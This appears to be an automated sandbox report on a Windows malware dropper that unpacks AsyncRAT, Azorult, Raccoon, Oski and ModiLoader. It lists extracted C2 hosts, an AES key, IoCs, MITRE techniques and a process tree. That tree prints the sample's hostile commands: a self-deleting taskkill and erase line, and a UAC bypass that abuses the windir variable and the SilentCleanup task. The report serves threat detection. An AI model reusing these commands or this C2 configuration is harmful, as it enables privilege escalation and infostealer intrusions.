asyncrat | 77d3172d77aa45c61b8563dcb13b26bd2f8f9fb4cbc2fcc966966a26f316ba56

Analysis

max time kernel
145s
max time network
153s
platform
windows7_x64
resource
win7v20201028
submitted
11/11/2020, 16:17

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General

Target
5e1076d2b7b7ba138f08174d602bc167.exe
Size 1.3MB
Sample201111-sa2vacyhps
SHA256 77d3172d77aa45c61b8563dcb13b26bd2f8f9fb4cbc2fcc966966a26f316ba56
MD5 5e1076d2b7b7ba138f08174d602bc167
SHA1 6dc2f542f94cc2e30e60ba9f2a6795f351f81d82
SHA512 0b4583a2dc25354fca546918f175c89bb7e035832e9f3647a3a4b825241c93251c2ae89c49a4fa5bfbe0e68b8afb0dd91ea0a530e5bb498f598b5a68b8f8839f
MD5 SHA1 SHA512

Score

10^/10

asyncrat azorult modiloader oski raccoon c6f4c67877b4427c759f396ca4c1dff4761d3cc9 discovery evasion infostealer persistence rat spyware stealer trojan

Malware Config

Extracted

Family

raccoon

Botnet

c6f4c67877b4427c759f396ca4c1dff4761d3cc9

Attributes

url4cnc
https://telete.in/brikitiki

rc4.plain

Extracted

Family

azorult

http://195.245.112.115/index.php

Extracted

Family

oski

morasergiov.ac.ug

Extracted

Family

asyncrat

Version

0.5.7B

agentttt.ac.ug:6970
agentpurple.ac.ug:6970

Mutex

AsyncMutex_6SI8OkPnk

Attributes

aes_key
16dw6EDbQkYZp5BTs7cmLUicVtOA4UQr
anti_detection
false
autorun
false
bdos
false
delay
Default
host
agentttt.ac.ug,agentpurple.ac.ug
hwid
3
install_file
install_folder
%AppData%
mutex
AsyncMutex_6SI8OkPnk
pastebin_config
null
port
6970
version
0.5.7B

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Contains code to disable Windows Defender 8 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral1/memory/1460-80-0x0000000000400000-0x0000000000408000-memory.dmp	disable_win_def
behavioral1/memory/1460-85-0x0000000000400000-0x0000000000408000-memory.dmp	disable_win_def
behavioral1/memory/1460-86-0x0000000000400000-0x0000000000408000-memory.dmp	disable_win_def
behavioral1/memory/1460-81-0x0000000000403BEE-mapping.dmp	disable_win_def
behavioral1/memory/1636-91-0x000000000040616E-mapping.dmp	disable_win_def
behavioral1/memory/1636-89-0x0000000000400000-0x000000000040C000-memory.dmp	disable_win_def
behavioral1/memory/1636-93-0x0000000000400000-0x000000000040C000-memory.dmp	disable_win_def
behavioral1/memory/1636-94-0x0000000000400000-0x000000000040C000-memory.dmp	disable_win_def

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon

Async RAT payload 4 IoCs

rat

resource	yara_rule
behavioral1/memory/1784-106-0x000000000040C76E-mapping.dmp	asyncrat
behavioral1/memory/1784-105-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral1/memory/1784-109-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral1/memory/1784-110-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

ModiLoader First Stage 1 IoCs

resource	yara_rule
behavioral1/memory/1208-72-0x0000000003D50000-0x0000000003DAC000-memory.dmp	modiloader_stage1

ModiLoader Second Stage 1 IoCs

resource	yara_rule
behavioral1/memory/1208-152-0x0000000004DA0000-0x0000000004DED000-memory.dmp	modiloader_stage2

Downloads MZ/PE file

Executes dropped EXE 14 IoCs

pid	Process
1764	zVhjgfutyFD.exe
1332	HuytgfGDFwer.exe
1564	zVhjgfutyFD.exe
1676	HuytgfGDFwer.exe
1028	RtzmWlavKO.exe
1208	VruOpvSZ2s.exe
1564	jSWzRwslV7.exe
1828	NOoiRlHKBy.exe
1460	NOoiRlHKBy.exe
1928	jSWzRwslV7.exe
1376	jSWzRwslV7.exe
1636	jSWzRwslV7.exe
1336	RtzmWlavKO.exe
1784	RtzmWlavKO.exe

Deletes itself 1 IoCs

pid	Process
584	cmd.exe

Loads dropped DLL 30 IoCs

pid	Process
1728	5e1076d2b7b7ba138f08174d602bc167.exe
1728	5e1076d2b7b7ba138f08174d602bc167.exe
1728	5e1076d2b7b7ba138f08174d602bc167.exe
1728	5e1076d2b7b7ba138f08174d602bc167.exe
1764	zVhjgfutyFD.exe
1332	HuytgfGDFwer.exe
1288	5e1076d2b7b7ba138f08174d602bc167.exe
1288	5e1076d2b7b7ba138f08174d602bc167.exe
1288	5e1076d2b7b7ba138f08174d602bc167.exe
1288	5e1076d2b7b7ba138f08174d602bc167.exe
1288	5e1076d2b7b7ba138f08174d602bc167.exe
1288	5e1076d2b7b7ba138f08174d602bc167.exe
1288	5e1076d2b7b7ba138f08174d602bc167.exe
1288	5e1076d2b7b7ba138f08174d602bc167.exe
1676	HuytgfGDFwer.exe
1676	HuytgfGDFwer.exe
1676	HuytgfGDFwer.exe
1676	HuytgfGDFwer.exe
1676	HuytgfGDFwer.exe
1288	5e1076d2b7b7ba138f08174d602bc167.exe
1288	5e1076d2b7b7ba138f08174d602bc167.exe
1288	5e1076d2b7b7ba138f08174d602bc167.exe
1288	5e1076d2b7b7ba138f08174d602bc167.exe
1288	5e1076d2b7b7ba138f08174d602bc167.exe
1564	jSWzRwslV7.exe
1828	NOoiRlHKBy.exe
1564	jSWzRwslV7.exe
1564	jSWzRwslV7.exe
1028	RtzmWlavKO.exe
1028	RtzmWlavKO.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features	NOoiRlHKBy.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	NOoiRlHKBy.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\Ijdk = "C:\\Users\\Admin\\AppData\\Local\\kdjI.url"	VruOpvSZ2s.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\LocalLow\n9h9r91h8fna789q\desktop.ini	5e1076d2b7b7ba138f08174d602bc167.exe
File opened for modification	C:\Users\Admin\AppData\LocalLow\n9h9r91h8fna789q\desktop.ini	5e1076d2b7b7ba138f08174d602bc167.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 1728 set thread context of 1288	1728	5e1076d2b7b7ba138f08174d602bc167.exe	31
PID 1764 set thread context of 1564	1764	zVhjgfutyFD.exe	32
PID 1332 set thread context of 1676	1332	HuytgfGDFwer.exe	33
PID 1828 set thread context of 1460	1828	NOoiRlHKBy.exe	48
PID 1564 set thread context of 1636	1564	jSWzRwslV7.exe	50
PID 1028 set thread context of 1784	1028	RtzmWlavKO.exe	54

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 1 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	HuytgfGDFwer.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1332	timeout.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1796	taskkill.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
1220	reg.exe
1956	reg.exe
1680	reg.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	5e1076d2b7b7ba138f08174d602bc167.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	VruOpvSZ2s.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	VruOpvSZ2s.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	VruOpvSZ2s.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	5e1076d2b7b7ba138f08174d602bc167.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1564	jSWzRwslV7.exe
1564	jSWzRwslV7.exe
1564	jSWzRwslV7.exe
1564	jSWzRwslV7.exe
1028	RtzmWlavKO.exe
1028	RtzmWlavKO.exe
1636	jSWzRwslV7.exe
1640	powershell.exe
1640	powershell.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
1728	5e1076d2b7b7ba138f08174d602bc167.exe
1764	zVhjgfutyFD.exe
1332	HuytgfGDFwer.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1796	taskkill.exe
Token: SeDebugPrivilege	1828	NOoiRlHKBy.exe
Token: SeDebugPrivilege	1564	jSWzRwslV7.exe
Token: SeDebugPrivilege	1028	RtzmWlavKO.exe
Token: SeDebugPrivilege	1640	powershell.exe
Token: SeDebugPrivilege	1636	jSWzRwslV7.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1728	5e1076d2b7b7ba138f08174d602bc167.exe
1764	zVhjgfutyFD.exe
1332	HuytgfGDFwer.exe
1636	jSWzRwslV7.exe
1636	jSWzRwslV7.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1728 wrote to memory of 1764	1728	5e1076d2b7b7ba138f08174d602bc167.exe	29
PID 1728 wrote to memory of 1764	1728	5e1076d2b7b7ba138f08174d602bc167.exe	29
PID 1728 wrote to memory of 1764	1728	5e1076d2b7b7ba138f08174d602bc167.exe	29
PID 1728 wrote to memory of 1764	1728	5e1076d2b7b7ba138f08174d602bc167.exe	29
PID 1728 wrote to memory of 1332	1728	5e1076d2b7b7ba138f08174d602bc167.exe	30
PID 1728 wrote to memory of 1332	1728	5e1076d2b7b7ba138f08174d602bc167.exe	30
PID 1728 wrote to memory of 1332	1728	5e1076d2b7b7ba138f08174d602bc167.exe	30
PID 1728 wrote to memory of 1332	1728	5e1076d2b7b7ba138f08174d602bc167.exe	30
PID 1728 wrote to memory of 1288	1728	5e1076d2b7b7ba138f08174d602bc167.exe	31
PID 1728 wrote to memory of 1288	1728	5e1076d2b7b7ba138f08174d602bc167.exe	31
PID 1728 wrote to memory of 1288	1728	5e1076d2b7b7ba138f08174d602bc167.exe	31
PID 1728 wrote to memory of 1288	1728	5e1076d2b7b7ba138f08174d602bc167.exe	31
PID 1728 wrote to memory of 1288	1728	5e1076d2b7b7ba138f08174d602bc167.exe	31
PID 1764 wrote to memory of 1564	1764	zVhjgfutyFD.exe	32
PID 1764 wrote to memory of 1564	1764	zVhjgfutyFD.exe	32
PID 1764 wrote to memory of 1564	1764	zVhjgfutyFD.exe	32
PID 1764 wrote to memory of 1564	1764	zVhjgfutyFD.exe	32
PID 1764 wrote to memory of 1564	1764	zVhjgfutyFD.exe	32
PID 1332 wrote to memory of 1676	1332	HuytgfGDFwer.exe	33
PID 1332 wrote to memory of 1676	1332	HuytgfGDFwer.exe	33
PID 1332 wrote to memory of 1676	1332	HuytgfGDFwer.exe	33
PID 1332 wrote to memory of 1676	1332	HuytgfGDFwer.exe	33
PID 1332 wrote to memory of 1676	1332	HuytgfGDFwer.exe	33
PID 1676 wrote to memory of 1708	1676	HuytgfGDFwer.exe	36
PID 1676 wrote to memory of 1708	1676	HuytgfGDFwer.exe	36
PID 1676 wrote to memory of 1708	1676	HuytgfGDFwer.exe	36
PID 1676 wrote to memory of 1708	1676	HuytgfGDFwer.exe	36
PID 1708 wrote to memory of 1796	1708	cmd.exe	38
PID 1708 wrote to memory of 1796	1708	cmd.exe	38
PID 1708 wrote to memory of 1796	1708	cmd.exe	38
PID 1708 wrote to memory of 1796	1708	cmd.exe	38
PID 1288 wrote to memory of 1028	1288	5e1076d2b7b7ba138f08174d602bc167.exe	40
PID 1288 wrote to memory of 1028	1288	5e1076d2b7b7ba138f08174d602bc167.exe	40
PID 1288 wrote to memory of 1028	1288	5e1076d2b7b7ba138f08174d602bc167.exe	40
PID 1288 wrote to memory of 1028	1288	5e1076d2b7b7ba138f08174d602bc167.exe	40
PID 1288 wrote to memory of 1208	1288	5e1076d2b7b7ba138f08174d602bc167.exe	41
PID 1288 wrote to memory of 1208	1288	5e1076d2b7b7ba138f08174d602bc167.exe	41
PID 1288 wrote to memory of 1208	1288	5e1076d2b7b7ba138f08174d602bc167.exe	41
PID 1288 wrote to memory of 1208	1288	5e1076d2b7b7ba138f08174d602bc167.exe	41
PID 1288 wrote to memory of 1564	1288	5e1076d2b7b7ba138f08174d602bc167.exe	42
PID 1288 wrote to memory of 1564	1288	5e1076d2b7b7ba138f08174d602bc167.exe	42
PID 1288 wrote to memory of 1564	1288	5e1076d2b7b7ba138f08174d602bc167.exe	42
PID 1288 wrote to memory of 1564	1288	5e1076d2b7b7ba138f08174d602bc167.exe	42
PID 1288 wrote to memory of 1828	1288	5e1076d2b7b7ba138f08174d602bc167.exe	43
PID 1288 wrote to memory of 1828	1288	5e1076d2b7b7ba138f08174d602bc167.exe	43
PID 1288 wrote to memory of 1828	1288	5e1076d2b7b7ba138f08174d602bc167.exe	43
PID 1288 wrote to memory of 1828	1288	5e1076d2b7b7ba138f08174d602bc167.exe	43
PID 1288 wrote to memory of 584	1288	5e1076d2b7b7ba138f08174d602bc167.exe	44
PID 1288 wrote to memory of 584	1288	5e1076d2b7b7ba138f08174d602bc167.exe	44
PID 1288 wrote to memory of 584	1288	5e1076d2b7b7ba138f08174d602bc167.exe	44
PID 1288 wrote to memory of 584	1288	5e1076d2b7b7ba138f08174d602bc167.exe	44
PID 584 wrote to memory of 1332	584	cmd.exe	46
PID 584 wrote to memory of 1332	584	cmd.exe	46
PID 584 wrote to memory of 1332	584	cmd.exe	46
PID 584 wrote to memory of 1332	584	cmd.exe	46
PID 1828 wrote to memory of 1460	1828	NOoiRlHKBy.exe	48
PID 1828 wrote to memory of 1460	1828	NOoiRlHKBy.exe	48
PID 1828 wrote to memory of 1460	1828	NOoiRlHKBy.exe	48
PID 1828 wrote to memory of 1460	1828	NOoiRlHKBy.exe	48
PID 1564 wrote to memory of 1928	1564	jSWzRwslV7.exe	47
PID 1564 wrote to memory of 1928	1564	jSWzRwslV7.exe	47
PID 1564 wrote to memory of 1928	1564	jSWzRwslV7.exe	47
PID 1564 wrote to memory of 1928	1564	jSWzRwslV7.exe	47
PID 1828 wrote to memory of 1460	1828	NOoiRlHKBy.exe	48

C:\Users\Admin\AppData\Local\Temp\5e1076d2b7b7ba138f08174d602bc167.exe
"C:\Users\Admin\AppData\Local\Temp\5e1076d2b7b7ba138f08174d602bc167.exe"
1⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1728
- C:\Users\Admin\AppData\Local\Temp\zVhjgfutyFD.exe
  "C:\Users\Admin\AppData\Local\Temp\zVhjgfutyFD.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Users\Admin\AppData\Local\Temp\zVhjgfutyFD.exe
    "C:\Users\Admin\AppData\Local\Temp\zVhjgfutyFD.exe"
    3⤵
    - Executes dropped EXE
    PID:1564
- C:\Users\Admin\AppData\Local\Temp\HuytgfGDFwer.exe
  "C:\Users\Admin\AppData\Local\Temp\HuytgfGDFwer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1332
- - C:\Users\Admin\AppData\Local\Temp\HuytgfGDFwer.exe
    "C:\Users\Admin\AppData\Local\Temp\HuytgfGDFwer.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious use of WriteProcessMemory
    PID:1676
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /pid 1676 & erase C:\Users\Admin\AppData\Local\Temp\HuytgfGDFwer.exe & RD /S /Q C:\\ProgramData\\574337532693924\\* & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1708
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /pid 1676
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1796
- C:\Users\Admin\AppData\Local\Temp\5e1076d2b7b7ba138f08174d602bc167.exe
  "C:\Users\Admin\AppData\Local\Temp\5e1076d2b7b7ba138f08174d602bc167.exe"
  2⤵
  - Loads dropped DLL
  - Drops desktop.ini file(s)
  - Modifies system certificate store
  - Suspicious use of WriteProcessMemory
  PID:1288
- - C:\Users\Admin\AppData\Local\Temp\RtzmWlavKO.exe
    "C:\Users\Admin\AppData\Local\Temp\RtzmWlavKO.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1028
  - - C:\Users\Admin\AppData\Local\Temp\RtzmWlavKO.exe
      "C:\Users\Admin\AppData\Local\Temp\RtzmWlavKO.exe"
      4⤵
      Executes dropped EXE
      PID:1336
  - - C:\Users\Admin\AppData\Local\Temp\RtzmWlavKO.exe
      "C:\Users\Admin\AppData\Local\Temp\RtzmWlavKO.exe"
      4⤵
      Executes dropped EXE
      PID:1784
- - C:\Users\Admin\AppData\Local\Temp\VruOpvSZ2s.exe
    "C:\Users\Admin\AppData\Local\Temp\VruOpvSZ2s.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Modifies system certificate store
    PID:1208
  - - C:\Windows\SysWOW64\Notepad.exe
      "C:\Windows\System32\Notepad.exe"
      4⤵
      PID:1168
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c C:\Users\Public\Natso.bat
        5⤵
        
        PID:3000
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete hkcu\Environment /v windir /f
        6⤵
        Modifies registry key
        
        PID:1220
      - C:\Windows\SysWOW64\reg.exe
        
        reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "
        6⤵
        Modifies registry key
        
        PID:1956
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
        6⤵
        
        PID:820
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete hkcu\Environment /v windir /f
        6⤵
        Modifies registry key
        
        PID:1680
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c C:\Users\Public\Natso.bat
        5⤵
        
        PID:1428
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      PID:2968
- - C:\Users\Admin\AppData\Local\Temp\jSWzRwslV7.exe
    "C:\Users\Admin\AppData\Local\Temp\jSWzRwslV7.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1564
  - - C:\Users\Admin\AppData\Local\Temp\jSWzRwslV7.exe
      "C:\Users\Admin\AppData\Local\Temp\jSWzRwslV7.exe"
      4⤵
      Executes dropped EXE
      PID:1928
  - - C:\Users\Admin\AppData\Local\Temp\jSWzRwslV7.exe
      "C:\Users\Admin\AppData\Local\Temp\jSWzRwslV7.exe"
      4⤵
      Executes dropped EXE
      PID:1376
